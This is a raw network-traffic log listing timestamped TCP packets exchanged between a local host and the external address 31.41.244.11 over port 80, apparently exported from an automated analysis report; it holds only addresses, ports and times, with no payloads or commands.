Dec 18, 2024 19:08:15.012877941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.012923002 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.013659000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.013703108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.013756990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.013797998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.014576912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.014622927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.014754057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.014796019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.015513897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.015559912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.015640974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.015683889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.016504049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.016546965 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.016668081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.016710997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.017414093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.017458916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.017544985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.017585993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.018399954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.018448114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.018542051 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.018584967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.019278049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.019332886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.019373894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.019417048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.020298958 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.020312071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.020344019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.020374060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.021203995 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.021249056 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.021437883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.021482944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.022181988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.022228956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.022344112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.022386074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.023020029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.023065090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.023288965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.023333073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.023947001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.023993969 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.024131060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.024173975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.024920940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.024966955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.025063992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.025104046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.025856018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.025904894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.026007891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.026056051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.026814938 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.026873112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.026902914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.026956081 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.027787924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.027839899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.027914047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.027959108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.028693914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.028738976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.029122114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.029167891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.029638052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.029681921 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.030034065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.030082941 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.030582905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.030649900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.031533003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.031544924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.031579971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.031678915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.031719923 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.032460928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.032506943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.032723904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.032767057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.033418894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.033464909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.033488989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.033528090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.034323931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.034370899 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.034646034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.034691095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.035274029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.035326958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.035413980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.035454988 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.036221981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.036267042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.036305904 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.036351919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.037153959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.037201881 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.037264109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.037307978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.038223982 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.038269043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.038433075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.038479090 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.039052010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.039093971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.039307117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.039354086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.040086031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.040129900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.040352106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.040400028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.040911913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.040956020 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.041042089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.041085958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.041892052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.041935921 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.041965961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.042011023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.042812109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.042859077 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.043534040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.043579102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.043781996 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.043795109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.043828964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.044693947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.044742107 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.045001030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.045049906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.045624971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.045665979 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.046011925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.046056032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.046610117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.046653032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.046914101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.046956062 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.047563076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.047583103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.047610044 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.047630072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.048515081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.048559904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.048794031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.048839092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.049391985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.049438000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.050357103 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.050369978 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.050410032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.050494909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.050539017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.051354885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.051367998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.051405907 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.058374882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.058444977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.058485985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.058527946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.058655977 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.058697939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.058823109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.058865070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.059628963 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.059670925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.059931040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.059974909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.060504913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.060551882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.060652018 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.060695887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.198194981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.198247910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.198678970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.198702097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.198730946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.198755980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.198777914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.198834896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.199634075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.199677944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.199753046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.199789047 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.200448036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.200505018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.200778961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.200829983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.201416969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.201432943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.201473951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.201498985 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.202327967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.202383995 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.202680111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.202730894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.203308105 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.203375101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.203389883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.203422070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.204227924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.204286098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.204452038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.204504013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.205256939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.205305099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.205343008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.205394030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.206134081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.206151962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.206178904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.206197977 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.207045078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.207089901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.207175016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.207211018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.208000898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.208039999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.208084106 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.208125114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.208965063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.209007025 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.209199905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.209238052 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.209889889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.209903002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.209930897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.209955931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.210784912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.210833073 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.210887909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.210923910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.211792946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.211834908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.211905956 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.211945057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.212728024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.212738991 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.212765932 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.212928057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.213634014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.213677883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.213761091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.213798046 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.214580059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.214624882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.214713097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.214751959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.215548038 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.215586901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.215663910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.215698957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.216432095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.216478109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.216551065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.216586113 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.217371941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.217411041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.217720985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.217767954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.218374014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.218415976 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.218740940 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.218785048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.219362020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.219372988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.219402075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.219422102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.220206976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.220252037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.220532894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.220573902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.221252918 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.221263885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.221297026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.222347975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.222359896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.222407103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.222429037 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.223009109 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.223077059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.223541975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.223583937 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.224353075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.224397898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.224710941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.224751949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.224936008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.224947929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.224978924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.225862980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.225904942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.226617098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.226660967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.226852894 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.226865053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.226896048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.227752924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.227797031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.227906942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.227948904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.228647947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.228692055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.228816032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.228857994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.229660034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.229674101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.229701996 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.229729891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.230724096 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.230772018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.230966091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.231004000 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.231515884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.231558084 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.231637001 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.231677055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.232522964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.232568026 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.232788086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.232831001 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.233438969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.233450890 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.233479023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.233500957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.234324932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.234370947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.234714985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.234756947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.235279083 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.235327959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.235513926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:15.235554934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:15.236267090 CET	80	49720	31.41.244.11	192.168.2.5
